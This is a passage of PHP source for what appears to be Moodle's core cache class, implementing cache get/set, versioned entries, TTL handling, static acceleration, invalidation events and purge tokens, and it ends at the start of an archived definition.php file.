$this->set_data_source($loader); } $this->definition->generate_definition_hash(); $this->staticacceleration = $this->definition->use_static_acceleration(); if ($this->staticacceleration) { $this->staticaccelerationsize = $this->definition->get_static_acceleration_size(); } $this->hasattl = ($this->definition->get_ttl() > 0); } /** * Set the loader for this cache. * * @param loader_interface $loader */ protected function set_loader(loader_interface $loader): void { $this->loader = $loader; // Mark the loader as a sub (chained) loader. $this->loader->set_is_sub_loader(true); } /** * Set the data source for this cache. * * @param data_source_interface $datasource */ protected function set_data_source(data_source_interface $datasource): void { $this->datasource = $datasource; } /** * Used to inform the loader of its state as a sub loader, or as the top of the chain. * * This is important as it ensures that we do not have more than one loader keeping static acceleration data. * Subloaders need to be "pure" loaders in the sense that they are used to store and retrieve information from stores or the * next loader/data source in the chain. * Nothing fancy, nothing flash. * * @param bool $setting */ protected function set_is_sub_loader($setting = true) { if ($setting) { $this->subloader = true; // Subloaders should not keep static acceleration data. $this->staticacceleration = false; $this->staticaccelerationsize = false; } else { $this->subloader = true; $this->staticacceleration = $this->definition->use_static_acceleration(); if ($this->staticacceleration) { $this->staticaccelerationsize = $this->definition->get_static_acceleration_size(); } } } /** * Alters the identifiers that have been provided to the definition. * * This is an advanced method and should not be used unless really needed. * It allows the developer to slightly alter the definition without having to re-establish the cache. * It will cause more processing as the definition will need to clear and reprepare some of its properties. * * @param array $identifiers */ public function set_identifiers(array $identifiers) { if ($this->definition->set_identifiers($identifiers)) { // As static acceleration uses input keys and not parsed keys // it much be cleared when the identifier set is changed. $this->staticaccelerationarray = []; if ($this->staticaccelerationsize !== false) { $this->staticaccelerationkeys = []; $this->staticaccelerationcount = 0; } } } /** * Process any outstanding invalidation events for the cache we are registering, * * Identifiers and event invalidation are not compatible with each other at this time. * As a result the cache does not need to consider identifiers when working out what to invalidate. */ protected function handle_invalidation_events() { if (!$this->definition->has_invalidation_events()) { return; } // Each cache stores the current 'lastinvalidation' value within the cache itself. $lastinvalidation = $this->get('lastinvalidation'); if ($lastinvalidation === false) { // There is currently no value for the lastinvalidation token, therefore the token is not set, and there // can be nothing to invalidate. // Set the lastinvalidation value to the current purge token and return early. $this->set('lastinvalidation', self::get_purge_token()); return; } else if ($lastinvalidation == self::get_purge_token()) { // The current purge request has already been fully handled by this cache. return; } /* * Now that the whole cache check is complete, we check the meaning of any specific cache invalidation events. * These are stored in the core/eventinvalidation cache as an multi-dimensinoal array in the form: * [ * eventname => [ * keyname => purgetoken, * ] * ] * * The 'keyname' value is used to delete a specific key in the cache. * If the keyname is set to the special value 'purged', then the whole cache is purged instead. * * The 'purgetoken' is the token that this key was last purged. * a) If the purgetoken matches the last invalidation, then the key/cache is not purged. * b) If the purgetoken is newer than the last invalidation, then the key/cache is not purged. * c) If the purge token is older than the last invalidation, or it has a different token component, then the * cache is purged. * * Option b should not happen under normal operation, but may happen in race condition whereby a long-running * request's cache is cleared in another process during that request, and prior to that long-running request * creating the cache. In such a condition, it would be incorrect to clear that cache. */ $cache = self::make('core', 'eventinvalidation'); $events = $cache->get_many($this->definition->get_invalidation_events()); $todelete = []; $purgeall = false; // Iterate the returned data for the events. foreach ($events as $event => $keys) { if ($keys === false) { // No data to be invalidated yet. continue; } // Look at each key and check the timestamp. foreach ($keys as $key => $purgetoken) { // If the timestamp of the event is more than or equal to the last invalidation (happened between the last // invalidation and now), then we need to invaliate the key. if (self::compare_purge_tokens($purgetoken, $lastinvalidation) > 0) { if ($key === 'purged') { $purgeall = true; break; } else { $todelete[] = $key; } } } } if ($purgeall) { $this->purge(); } else if (!empty($todelete)) { $todelete = array_unique($todelete); $this->delete_many($todelete); } // Set the time of the last invalidation. if ($purgeall || !empty($todelete)) { $this->set('lastinvalidation', self::get_purge_token(true)); } } /** * Retrieves the value for the given key from the cache. * * @param string|int $key The key for the data being requested. * It can be any structure although using a scalar string or int is recommended in the interests of performance. * In advanced cases an array may be useful such as in situations requiring the multi-key functionality. * @param int $strictness One of IGNORE_MISSING | MUST_EXIST * @return mixed|false The data from the cache or false if the key did not exist within the cache. * @throws coding_exception */ public function get($key, $strictness = IGNORE_MISSING) { return $this->get_implementation($key, self::VERSION_NONE, $strictness); } /** * Retrieves the value and actual version for the given key, with at least the required version. * * If there is no value for the key, or there is a value but it doesn't have the required * version, then this function will return null (or throw an exception if you set strictness * to MUST_EXIST). * * This function can be used to make it easier to support localisable caches (where the cache * could be stored on a local server as well as a shared cache). Specifying the version means * that it will automatically retrieve the correct version if available, either from the local * server or [if that has an older version] from the shared server. * * If the cached version is newer than specified version, it will be returned regardless. For * example, if you request version 4, but the locally cached version is 5, it will be returned. * If you request version 6, and the locally cached version is 5, then the system will look in * higher-level caches (if any); if there still isn't a version 6 or greater, it will return * null. * * You must use this function if you use set_versioned. * * @param string|int $key The key for the data being requested. * @param int $requiredversion Minimum required version of the data * @param int $strictness One of IGNORE_MISSING or MUST_EXIST. * @param mixed $actualversion If specified, will be set to the actual version number retrieved * @return mixed Data from the cache, or false if the key did not exist or was too old * @throws \coding_exception If you call get_versioned on a non-versioned cache key */ public function get_versioned($key, int $requiredversion, int $strictness = IGNORE_MISSING, &$actualversion = null) { return $this->get_implementation($key, $requiredversion, $strictness, $actualversion); } /** * Checks returned data to see if it matches the specified version number. * * For versioned data, this returns the version_wrapper object (or false). For other * data, it returns the actual data (or false). * * @param mixed $result Result data * @param int $requiredversion Required version number or VERSION_NONE if there must be no version * @return bool True if version is current, false if not (or if result is false) * @throws \coding_exception If unexpected type of data (versioned vs non-versioned) is found */ protected static function check_version($result, int $requiredversion): bool { if ($requiredversion === self::VERSION_NONE) { if ($result instanceof \core_cache\version_wrapper) { throw new \coding_exception('Unexpectedly found versioned cache entry'); } else { // No version checks, so version is always correct. return true; } } else { // If there's no result, obviously it doesn't meet the required version. if (!helper::result_found($result)) { return false; } if (!($result instanceof \core_cache\version_wrapper)) { throw new \coding_exception('Unexpectedly found non-versioned cache entry'); } // If the result doesn't match the required version tag, return false. if ($result->version < $requiredversion) { return false; } // The version meets the requirement. return true; } } /** * Retrieves the value for the given key from the cache. * * @param string|int $key The key for the data being requested. * It can be any structure although using a scalar string or int is recommended in the interests of performance. * In advanced cases an array may be useful such as in situations requiring the multi-key functionality. * @param int $requiredversion Minimum required version of the data or cache::VERSION_NONE * @param int $strictness One of IGNORE_MISSING | MUST_EXIST * @param mixed $actualversion If specified, will be set to the actual version number retrieved * @return mixed|false The data from the cache or false if the key did not exist within the cache. * @throws coding_exception */ protected function get_implementation($key, int $requiredversion, int $strictness, &$actualversion = null) { // 1. Get it from the static acceleration array if we can (only when it is enabled and it has already been requested/set). $usesstaticacceleration = $this->use_static_acceleration(); if ($usesstaticacceleration) { $result = $this->static_acceleration_get($key); if (helper::result_found($result) && self::check_version($result, $requiredversion)) { if ($requiredversion === self::VERSION_NONE) { return $result; } else { $actualversion = $result->version; return $result->data; } } } // 2. Parse the key. $parsedkey = $this->parse_key($key); // 3. Get it from the store. Obviously wasn't in the static acceleration array. $result = $this->store->get($parsedkey); if (helper::result_found($result)) { // Check the result has at least the required version. try { $validversion = self::check_version($result, $requiredversion); } catch (\coding_exception $e) { // In certain circumstances this could happen before users are taken to the upgrade // screen when upgrading from an earlier Moodle version that didn't use a versioned // cache for this item, so redirect instead of showing error if that's the case. redirect_if_major_upgrade_required(); // If we still get an exception because there is incorrect data in the cache (not // versioned when it ought to be), delete it so this exception goes away next time. // The exception should only happen if there is a code bug (which is why we still // throw it) but there are unusual scenarios in development where it might happen // and that would be annoying if it doesn't fix itself. $this->store->delete($parsedkey); throw $e; } if (!$validversion) { // If the result was too old, don't use it. $result = false; // Also delete it immediately. This improves performance in the // case when the cache item is large and there may be multiple clients simultaneously // requesting it - they won't all have to do a megabyte of IO just in order to find // that it's out of date. $this->store->delete($parsedkey); } } if (helper::result_found($result)) { // Look to see if there's a TTL wrapper. It might be inside a version wrapper. if ($requiredversion !== self::VERSION_NONE) { $ttlconsider = $result->data; } else { $ttlconsider = $result; } if ($ttlconsider instanceof ttl_wrapper) { if ($ttlconsider->has_expired()) { $this->store->delete($parsedkey); $result = false; } else if ($requiredversion === self::VERSION_NONE) { // Use the data inside the TTL wrapper as the result. $result = $ttlconsider->data; } else { // Put the data from the TTL wrapper directly inside the version wrapper. $result->data = $ttlconsider->data; } } if ($usesstaticacceleration) { $this->static_acceleration_set($key, $result); } // Remove version wrapper if necessary. if ($requiredversion !== self::VERSION_NONE) { $actualversion = $result->version; $result = $result->data; } if ($result instanceof cached_object) { $result = $result->restore_object(); } } // 4. Load if from the loader/datasource if we don't already have it. $setaftervalidation = false; if (!helper::result_found($result)) { if ($this->perfdebug) { helper::record_cache_miss($this->store, $this->definition); } if ($this->loader !== false) { // We must pass the original (unparsed) key to the next loader in the chain. // The next loader will parse the key as it sees fit. It may be parsed differently // depending upon the capabilities of the store associated with the loader. if ($requiredversion === self::VERSION_NONE) { $result = $this->loader->get($key); } else { $result = $this->loader->get_versioned($key, $requiredversion, IGNORE_MISSING, $actualversion); } } else if ($this->datasource !== false) { if ($requiredversion === self::VERSION_NONE) { $result = $this->datasource->load_for_cache($key); } else { if (!$this->datasource instanceof versionable_data_source_interface) { throw new \coding_exception('Data source is not versionable'); } $result = $this->datasource->load_for_cache_versioned($key, $requiredversion, $actualversion); if ($result && $actualversion < $requiredversion) { throw new \coding_exception('Data source returned outdated version'); } } } $setaftervalidation = (helper::result_found($result)); } else if ($this->perfdebug) { $readbytes = $this->store->get_last_io_bytes(); helper::record_cache_hit($this->store, $this->definition, 1, $readbytes); } // 5. Validate strictness. if ($strictness === MUST_EXIST && !helper::result_found($result)) { throw new coding_exception('Requested key did not exist in any cache stores and could not be loaded.'); } // 6. Set it to the store if we got it from the loader/datasource. Only set to this direct // store; parent method will have set it to all stores if needed. if ($setaftervalidation) { $lock = false; try { // Only try to acquire a lock for this cache if we do not already have one. if (!empty($this->requirelockingbeforewrite) && !$this->check_lock_state($key)) { $this->acquire_lock($key); $lock = true; } if ($requiredversion === self::VERSION_NONE) { $this->set_implementation($key, self::VERSION_NONE, $result, false); } else { $this->set_implementation($key, $actualversion, $result, false); } } finally { if ($lock) { $this->release_lock($key); } } } // 7. Make sure we don't pass back anything that could be a reference. // We don't want people modifying the data in the cache. if (!$this->store->supports_dereferencing_objects() && !is_scalar($result)) { // If data is an object it will be a reference. // If data is an array if may contain references. // We want to break references so that the cache cannot be modified outside of itself. // Call the function to unreference it (in the best way possible). $result = $this->unref($result); } return $result; } /** * Retrieves an array of values for an array of keys. * * Using this function comes with potential performance implications. * Not all cache stores will support get_many/set_many operations and in order to replicate this functionality will call * the equivalent singular method for each item provided. * This should not deter you from using this function as there is a performance benefit in situations where the cache store * does support it, but you should be aware of this fact. * * @param array $keys The keys of the data being requested. * Each key can be any structure although using a scalar string or int is recommended in the interests of performance. * In advanced cases an array may be useful such as in situations requiring the multi-key functionality. * @param int $strictness One of IGNORE_MISSING or MUST_EXIST. * @return array An array of key value pairs for the items that could be retrieved from the cache. * If MUST_EXIST was used and not all keys existed within the cache then an exception will be thrown. * Otherwise any key that did not exist will have a data value of false within the results. * @throws coding_exception */ public function get_many(array $keys, $strictness = IGNORE_MISSING) { $keysparsed = []; $parsedkeys = []; $resultpersist = []; $resultstore = []; $keystofind = []; $readbytes = store::IO_BYTES_NOT_SUPPORTED; // First up check the persist cache for each key. $isusingpersist = $this->use_static_acceleration(); foreach ($keys as $key) { $pkey = $this->parse_key($key); if (is_array($pkey)) { $pkey = $pkey['key']; } $keysparsed[$key] = $pkey; $parsedkeys[$pkey] = $key; $keystofind[$pkey] = $key; if ($isusingpersist) { $value = $this->static_acceleration_get($key); if ($value !== false) { $resultpersist[$pkey] = $value; unset($keystofind[$pkey]); } } } // Next assuming we didn't find all of the keys in the persist cache try loading them from the store. if (count($keystofind)) { $resultstore = $this->store->get_many(array_keys($keystofind)); if ($this->perfdebug) { $readbytes = $this->store->get_last_io_bytes(); } // Process each item in the result to "unwrap" it. foreach ($resultstore as $key => $value) { if ($value instanceof ttl_wrapper) { if ($value->has_expired()) { $value = false; } else { $value = $value->data; } } if ($value !== false && $this->use_static_acceleration()) { $this->static_acceleration_set($keystofind[$key], $value); } if ($value instanceof cached_object) { $value = $value->restore_object(); } $resultstore[$key] = $value; } } // Merge the result from the persis cache with the results from the store load. $result = $resultpersist + $resultstore; unset($resultpersist); unset($resultstore); // Next we need to find any missing values and load them from the loader/datasource next in the chain. $usingloader = ($this->loader !== false); $usingsource = (!$usingloader && ($this->datasource !== false)); if ($usingloader || $usingsource) { $missingkeys = []; foreach ($result as $key => $value) { if ($value === false) { $missingkeys[] = $parsedkeys[$key]; } } if (!empty($missingkeys)) { if ($usingloader) { $resultmissing = $this->loader->get_many($missingkeys); } else { $resultmissing = $this->datasource->load_many_for_cache($missingkeys); } foreach ($resultmissing as $key => $value) { $result[$keysparsed[$key]] = $value; $lock = false; try { if (!empty($this->requirelockingbeforewrite)) { $this->acquire_lock($key); $lock = true; } if ($value !== false) { $this->set($key, $value); } } finally { if ($lock) { $this->release_lock($key); } } } unset($resultmissing); } unset($missingkeys); } // Create an array with the original keys and the found values. This will be what we return. $fullresult = []; foreach ($result as $key => $value) { if (!is_scalar($value)) { // If data is an object it will be a reference. // If data is an array if may contain references. // We want to break references so that the cache cannot be modified outside of itself. // Call the function to unreference it (in the best way possible). $value = $this->unref($value); } $fullresult[$parsedkeys[$key]] = $value; } unset($result); // Final step is to check strictness. if ($strictness === MUST_EXIST) { foreach ($keys as $key) { if (!array_key_exists($key, $fullresult)) { throw new coding_exception('Not all the requested keys existed within the cache stores.'); } } } if ($this->perfdebug) { $hits = 0; $misses = 0; foreach ($fullresult as $value) { if ($value === false) { $misses++; } else { $hits++; } } helper::record_cache_hit($this->store, $this->definition, $hits, $readbytes); helper::record_cache_miss($this->store, $this->definition, $misses); } // Return the result. Phew! return $fullresult; } /** * Sends a key => value pair to the cache. * * * // This code will add four entries to the cache, one for each url. * $cache->set('main', 'http://moodle.org'); * $cache->set('docs', 'http://docs.moodle.org'); * $cache->set('tracker', 'http://tracker.moodle.org'); * $cache->set('qa', 'http://qa.moodle.net'); * * * @param string|int $key The key for the data being requested. * It can be any structure although using a scalar string or int is recommended in the interests of performance. * In advanced cases an array may be useful such as in situations requiring the multi-key functionality. * @param mixed $data The data to set against the key. * @return bool True on success, false otherwise. */ public function set($key, $data) { return $this->set_implementation($key, self::VERSION_NONE, $data); } /** * Sets the value for the given key with the given version. * * The cache does not store multiple versions - any existing version will be overwritten with * this one. This function should only be used if there is a known 'current version' (e.g. * stored in a database table). It only ensures that the cache does not return outdated data. * * This function can be used to help implement localisable caches (where the cache could be * stored on a local server as well as a shared cache). The version will be recorded alongside * the item and get_versioned will always return the correct version. * * The version number must be an integer that always increases. This could be based on the * current time, or a stored value that increases by 1 each time it changes, etc. * * If you use this function you must use get_versioned to retrieve the data. * * @param string|int $key The key for the data being set. * @param int $version Integer for the version of the data * @param mixed $data The data to set against the key. * @return bool True on success, false otherwise. */ public function set_versioned($key, int $version, $data): bool { return $this->set_implementation($key, $version, $data); } /** * Sets the value for the given key, optionally with a version tag. * * @param string|int $key The key for the data being set. * @param int $version Version number for the data or cache::VERSION_NONE if none * @param mixed $data The data to set against the key. * @param bool $setparents If true, sets all parent loaders, otherwise only this one * @return bool True on success, false otherwise. */ protected function set_implementation($key, int $version, $data, bool $setparents = true): bool { if ($this->loader !== false && $setparents) { // We have a loader available set it there as well. // We have to let the loader do its own parsing of data as it may be unique. if ($version === self::VERSION_NONE) { $this->loader->set($key, $data); } else { $this->loader->set_versioned($key, $version, $data); } } $usestaticacceleration = $this->use_static_acceleration(); if (is_object($data) && $data instanceof cacheable_object_interface) { $data = new cached_object($data); } else if (!$this->store->supports_dereferencing_objects() && !is_scalar($data)) { // If data is an object it will be a reference. // If data is an array if may contain references. // We want to break references so that the cache cannot be modified outside of itself. // Call the function to unreference it (in the best way possible). $data = $this->unref($data); } if ($usestaticacceleration) { // Static acceleration cache should include the cache version wrapper, but not TTL. if ($version === self::VERSION_NONE) { $this->static_acceleration_set($key, $data); } else { $this->static_acceleration_set($key, new \core_cache\version_wrapper($data, $version)); } } if ($this->has_a_ttl() && !$this->store_supports_native_ttl()) { $data = new ttl_wrapper($data, $this->definition->get_ttl()); } $parsedkey = $this->parse_key($key); if ($version !== self::VERSION_NONE) { $data = new \core_cache\version_wrapper($data, $version); } $success = $this->store->set($parsedkey, $data); if ($this->perfdebug) { helper::record_cache_set( $this->store, $this->definition, 1, $this->store->get_last_io_bytes() ); } return $success; } /** * Removes references where required. * * @param stdClass|array $data * @return mixed What ever was put in but without any references. */ protected function unref($data) { if ($this->definition->uses_simple_data()) { return $data; } // Check if it requires serialisation in order to produce a reference free copy. if ($this->requires_serialisation($data)) { // Damn, its going to have to be serialise. $data = serialize($data); // We unserialise immediately so that we don't have to do it every time on get. $data = unserialize($data); } else if (!is_scalar($data)) { // Its safe to clone, lets do it, its going to beat the pants of serialisation. $data = $this->deep_clone($data); } return $data; } /** * Checks to see if a var requires serialisation. * * @param mixed $value The value to check. * @param int $depth Used to ensure we don't enter an endless loop (think recursion). * @return bool Returns true if the value is going to require serialisation in order to ensure a reference free copy * or false if its safe to clone. */ protected function requires_serialisation($value, $depth = 1) { if (is_scalar($value)) { return false; } else if (is_array($value) || $value instanceof stdClass || $value instanceof Traversable) { if ($depth > 5) { // Skrew it, mega-deep object, developer you suck, we're just going to serialise. return true; } foreach ($value as $key => $subvalue) { if ($this->requires_serialisation($subvalue, $depth++)) { return true; } } } // Its not scalar, array, or stdClass so we'll need to serialise. return true; } /** * Creates a reference free clone of the given value. * * @param mixed $value * @return mixed */ protected function deep_clone($value) { if (is_object($value)) { // Objects must be cloned to begin with. $value = clone $value; } if (is_array($value) || is_object($value)) { foreach ($value as $key => $subvalue) { $value[$key] = $this->deep_clone($subvalue); } } return $value; } /** * Sends several key => value pairs to the cache. * * Using this function comes with potential performance implications. * Not all cache stores will support get_many/set_many operations and in order to replicate this functionality will call * the equivalent singular method for each item provided. * This should not deter you from using this function as there is a performance benefit in situations where the cache store * does support it, but you should be aware of this fact. * * * // This code will add four entries to the cache, one for each url. * $cache->set_many(array( * 'main' => 'http://moodle.org', * 'docs' => 'http://docs.moodle.org', * 'tracker' => 'http://tracker.moodle.org', * 'qa' => ''http://qa.moodle.net' * )); * * * @param array $keyvaluearray An array of key => value pairs to send to the cache. * @return int The number of items successfully set. It is up to the developer to check this matches the number of items. * ... if they care that is. */ public function set_many(array $keyvaluearray) { if ($this->loader !== false) { // We have a loader available set it there as well. // We have to let the loader do its own parsing of data as it may be unique. $this->loader->set_many($keyvaluearray); } $data = array(); $simulatettl = $this->has_a_ttl() && !$this->store_supports_native_ttl(); $usestaticaccelerationarray = $this->use_static_acceleration(); $needsdereferencing = !$this->store->supports_dereferencing_objects(); foreach ($keyvaluearray as $key => $value) { if (is_object($value) && $value instanceof cacheable_object_interface) { $value = new cached_object($value); } else if ($needsdereferencing && !is_scalar($value)) { // If data is an object it will be a reference. // If data is an array if may contain references. // We want to break references so that the cache cannot be modified outside of itself. // Call the function to unreference it (in the best way possible). $value = $this->unref($value); } if ($usestaticaccelerationarray) { $this->static_acceleration_set($key, $value); } if ($simulatettl) { $value = new ttl_wrapper($value, $this->definition->get_ttl()); } $data[$key] = [ 'key' => $this->parse_key($key), 'value' => $value, ]; } $successfullyset = $this->store->set_many($data); if ($this->perfdebug && $successfullyset) { helper::record_cache_set( $this->store, $this->definition, $successfullyset, $this->store->get_last_io_bytes() ); } return $successfullyset; } /** * Test is a cache has a key. * * The use of the has methods is strongly discouraged. In a high load environment the cache may well change between the * test and any subsequent action (get, set, delete etc). * Instead it is recommended to write your code in such a way they it performs the following steps: *
    *
  1. Attempt to retrieve the information.
  2. *
  3. Generate the information.
  4. *
  5. Attempt to set the information
  6. *
* * Its also worth mentioning that not all stores support key tests. * For stores that don't support key tests this functionality is mimicked by using the equivalent get method. * Just one more reason you should not use these methods unless you have a very good reason to do so. * * @param string|int $key * @param bool $tryloadifpossible If set to true, the cache doesn't contain the key, and there is another cache loader or * data source then the code will try load the key value from the next item in the chain. * @return bool True if the cache has the requested key, false otherwise. */ public function has($key, $tryloadifpossible = false) { if ($this->static_acceleration_has($key)) { // Hoorah, that was easy. It exists in the static acceleration array so we definitely have it. return true; } $parsedkey = $this->parse_key($key); if ($this->has_a_ttl() && !$this->store_supports_native_ttl()) { // The data has a TTL and the store doesn't support it natively. // We must fetch the data and expect a ttl wrapper. $data = $this->store->get($parsedkey); $has = ($data instanceof ttl_wrapper && !$data->has_expired()); } else if (!$this->store_supports_key_awareness()) { // The store doesn't support key awareness, get the data and check it manually... puke. // Either no TTL is set of the store supports its handling natively. $data = $this->store->get($parsedkey); $has = ($data !== false); } else { // The store supports key awareness, this is easy! // Either no TTL is set of the store supports its handling natively. $has = $this->store->has($parsedkey); } if (!$has && $tryloadifpossible) { if ($this->loader !== false) { $result = $this->loader->get($parsedkey); } else if ($this->datasource !== null) { $result = $this->datasource->load_for_cache($key); } $has = ($result !== null); if ($has) { $this->set($key, $result); } } return $has; } /** * Test is a cache has all of the given keys. * * It is strongly recommended to avoid the use of this function if not absolutely required. * In a high load environment the cache may well change between the test and any subsequent action (get, set, delete etc). * * Its also worth mentioning that not all stores support key tests. * For stores that don't support key tests this functionality is mimicked by using the equivalent get method. * Just one more reason you should not use these methods unless you have a very good reason to do so. * * @param array $keys * @return bool True if the cache has all of the given keys, false otherwise. */ public function has_all(array $keys) { if (($this->has_a_ttl() && !$this->store_supports_native_ttl()) || !$this->store_supports_key_awareness()) { foreach ($keys as $key) { if (!$this->has($key)) { return false; } } return true; } $parsedkeys = array_map([$this, 'parse_key'], $keys); return $this->store->has_all($parsedkeys); } /** * Test if a cache has at least one of the given keys. * * It is strongly recommended to avoid the use of this function if not absolutely required. * In a high load environment the cache may well change between the test and any subsequent action (get, set, delete etc). * * Its also worth mentioning that not all stores support key tests. * For stores that don't support key tests this functionality is mimicked by using the equivalent get method. * Just one more reason you should not use these methods unless you have a very good reason to do so. * * @param array $keys * @return bool True if the cache has at least one of the given keys */ public function has_any(array $keys) { if (($this->has_a_ttl() && !$this->store_supports_native_ttl()) || !$this->store_supports_key_awareness()) { foreach ($keys as $key) { if ($this->has($key)) { return true; } } return false; } if ($this->use_static_acceleration()) { foreach ($keys as $id => $key) { if ($this->static_acceleration_has($key)) { return true; } } } $parsedkeys = array_map([$this, 'parse_key'], $keys); return $this->store->has_any($parsedkeys); } /** * Delete the given key from the cache. * * @param string|int $key The key to delete. * @param bool $recurse When set to true the key will also be deleted from all stacked cache loaders and their stores. * This happens by default and ensure that all the caches are consistent. It is NOT recommended to change this. * @return bool True of success, false otherwise. */ public function delete($key, $recurse = true) { $this->static_acceleration_delete($key); if ($recurse && $this->loader !== false) { // Delete from the bottom of the stack first. $this->loader->delete($key, $recurse); } $parsedkey = $this->parse_key($key); return $this->store->delete($parsedkey); } /** * Delete all of the given keys from the cache. * * @param array $keys The key to delete. * @param bool $recurse When set to true the key will also be deleted from all stacked cache loaders and their stores. * This happens by default and ensure that all the caches are consistent. It is NOT recommended to change this. * @return int The number of items successfully deleted. */ public function delete_many(array $keys, $recurse = true) { if ($this->use_static_acceleration()) { foreach ($keys as $key) { $this->static_acceleration_delete($key); } } if ($recurse && $this->loader !== false) { // Delete from the bottom of the stack first. $this->loader->delete_many($keys, $recurse); } $parsedkeys = array_map([$this, 'parse_key'], $keys); return $this->store->delete_many($parsedkeys); } /** * Purges the cache store, and loader if there is one. * * @return bool True on success, false otherwise */ public function purge() { // 1. Purge the static acceleration array. $this->static_acceleration_purge(); // 2. Purge the store. $this->store->purge(); // 3. Optionally pruge any stacked loaders. if ($this->loader) { $this->loader->purge(); } return true; } /** * Parses the key turning it into a string (or array is required) suitable to be passed to the cache store. * * @param string|int $key As passed to get|set|delete etc. * @return string|array String unless the store supports multi-identifiers in which case an array if returned. */ protected function parse_key($key) { // First up if the store supports multiple keys we'll go with that. if ($this->store->supports_multiple_identifiers()) { $result = $this->definition->generate_multi_key_parts(); $result['key'] = $key; return $result; } // If not we need to generate a hash and to for that we use the helper. return helper::hash_key($key, $this->definition); } /** * Returns true if the cache is making use of a ttl. * @return bool */ protected function has_a_ttl() { return $this->hasattl; } /** * Returns true if the cache store supports native ttl. * @return bool */ protected function store_supports_native_ttl() { if ($this->supportsnativettl === null) { $this->supportsnativettl = ($this->store->supports_native_ttl()); } return $this->supportsnativettl; } /** * Returns the cache definition. * * @return definition */ protected function get_definition() { return $this->definition; } /** * Returns the cache store * * @return store */ protected function get_store() { return $this->store; } /** * Returns the loader associated with this instance. * * @since Moodle 2.4.4 * @return cache|false */ protected function get_loader() { return $this->loader; } /** * Returns the data source associated with this cache. * * @since Moodle 2.4.4 * @return data_source_interface|false */ protected function get_datasource() { return $this->datasource; } /** * Returns true if the store supports key awareness. * * @return bool */ protected function store_supports_key_awareness() { if ($this->supportskeyawareness === null) { $this->supportskeyawareness = ($this->store instanceof key_aware_cache_interface); } return $this->supportskeyawareness; } /** * Returns true if the store natively supports locking. * * @return bool */ protected function store_supports_native_locking() { if ($this->nativelocking === null) { $this->nativelocking = ($this->store instanceof lockable_cache_interface); } return $this->nativelocking; } /** * Returns true if this cache is making use of the static acceleration array. * * @return bool */ protected function use_static_acceleration() { return $this->staticacceleration; } /** * Returns true if the requested key exists within the static acceleration array. * * @param string $key The parsed key * @return bool */ protected function static_acceleration_has($key) { // This could be written as a single line, however it has been split because the ttl check is faster than the instanceof // and has_expired calls. if (!$this->staticacceleration || !isset($this->staticaccelerationarray[$key])) { return false; } return true; } /** * Returns the item from the static acceleration array if it exists there. * * @param string $key The parsed key * @return mixed|false Dereferenced data from the static acceleration array or false if it wasn't there. */ protected function static_acceleration_get($key) { if (!$this->staticacceleration || !isset($this->staticaccelerationarray[$key])) { $result = false; } else { $data = $this->staticaccelerationarray[$key]['data']; if ($data instanceof cached_object) { $result = $data->restore_object(); } else if ($this->staticaccelerationarray[$key]['serialized']) { $result = unserialize($data); } else { $result = $data; } } if (helper::result_found($result)) { if ($this->perfdebug) { helper::record_cache_hit(store::STATIC_ACCEL, $this->definition); } if ($this->staticaccelerationsize > 1 && $this->staticaccelerationcount > 1) { // Check to see if this is the last item on the static acceleration keys array. if (end($this->staticaccelerationkeys) !== $key) { // It isn't the last item. // Move the item to the end of the array so that it is last to be removed. unset($this->staticaccelerationkeys[$key]); $this->staticaccelerationkeys[$key] = $key; } } return $result; } else { if ($this->perfdebug) { helper::record_cache_miss(store::STATIC_ACCEL, $this->definition); } return false; } } /** * Sets a key value pair into the static acceleration array. * * @param string $key The parsed key * @param mixed $data * @return bool */ protected function static_acceleration_set($key, $data) { if ($this->staticaccelerationsize !== false && isset($this->staticaccelerationkeys[$key])) { $this->staticaccelerationcount--; unset($this->staticaccelerationkeys[$key]); } // We serialize anything that's not; // 1. A known scalar safe value. // 2. A definition that says it's simpledata. We trust it that it doesn't contain dangerous references. // 3. An object that handles dereferencing by itself. if ( is_scalar($data) || $this->definition->uses_simple_data() || $data instanceof cached_object ) { $this->staticaccelerationarray[$key]['data'] = $data; $this->staticaccelerationarray[$key]['serialized'] = false; } else { $this->staticaccelerationarray[$key]['data'] = serialize($data); $this->staticaccelerationarray[$key]['serialized'] = true; } if ($this->staticaccelerationsize !== false) { $this->staticaccelerationcount++; $this->staticaccelerationkeys[$key] = $key; if ($this->staticaccelerationcount > $this->staticaccelerationsize) { $dropkey = array_shift($this->staticaccelerationkeys); unset($this->staticaccelerationarray[$dropkey]); $this->staticaccelerationcount--; } } return true; } /** * Deletes an item from the static acceleration array. * * @param string|int $key As given to get|set|delete * @return bool True on success, false otherwise. */ protected function static_acceleration_delete($key) { unset($this->staticaccelerationarray[$key]); if ($this->staticaccelerationsize !== false && isset($this->staticaccelerationkeys[$key])) { unset($this->staticaccelerationkeys[$key]); $this->staticaccelerationcount--; } return true; } /** * Purge the static acceleration cache. */ protected function static_acceleration_purge() { $this->staticaccelerationarray = []; if ($this->staticaccelerationsize !== false) { $this->staticaccelerationkeys = []; $this->staticaccelerationcount = 0; } } /** * Returns the timestamp from the first request for the time from the cache API. * * This stamp needs to be used for all ttl and time based operations to ensure that we don't end up with * timing issues. * * @param bool $float Whether to use floating precision accuracy. * @return int|float */ public static function now($float = false) { if (self::$now === null) { self::$now = microtime(true); } if ($float) { return self::$now; } else { return (int) self::$now; } } /** * Get a 'purge' token used for cache invalidation handling. * * Note: This function is intended for use from within the Cache API only and not by plugins, or cache stores. * * @param bool $reset Whether to reset the token and generate a new one. * @return string */ public static function get_purge_token($reset = false) { if (self::$purgetoken === null || $reset) { self::$now = null; self::$purgetoken = self::now(true) . '-' . uniqid('', true); } return self::$purgetoken; } /** * Compare a pair of purge tokens. * * If the two tokens are identical, then the return value is 0. * If the time component of token A is newer than token B, then a positive value is returned. * If the time component of token B is newer than token A, then a negative value is returned. * * Note: This function is intended for use from within the Cache API only and not by plugins, or cache stores. * * @param string $tokena * @param string $tokenb * @return int */ public static function compare_purge_tokens($tokena, $tokenb) { if ($tokena === $tokenb) { // There is an exact match. return 0; } // The token for when the cache was last invalidated. [$atime] = explode('-', "{$tokena}-", 2); // The token for this cache. [$btime] = explode('-', "{$tokenb}-", 2); if ($atime >= $btime) { // Token A is newer. return 1; } else { // Token A is older. return -1; } } /** * Subclasses may support purging cache of all data belonging to the * current user. */ public function purge_current_user() { } } // Alias this class to the old name. // This file will be autoloaded by the legacyclasses autoload system. // In future all uses of this class will be corrected and the legacy references will be removed. class_alias(cache::class, \cache::class); classes/definition.php000064400000106712152265337610011063 0ustar00. namespace core_cache; use core\exception\coding_exception; use lang_string; /** * The cache definition class. * * Cache 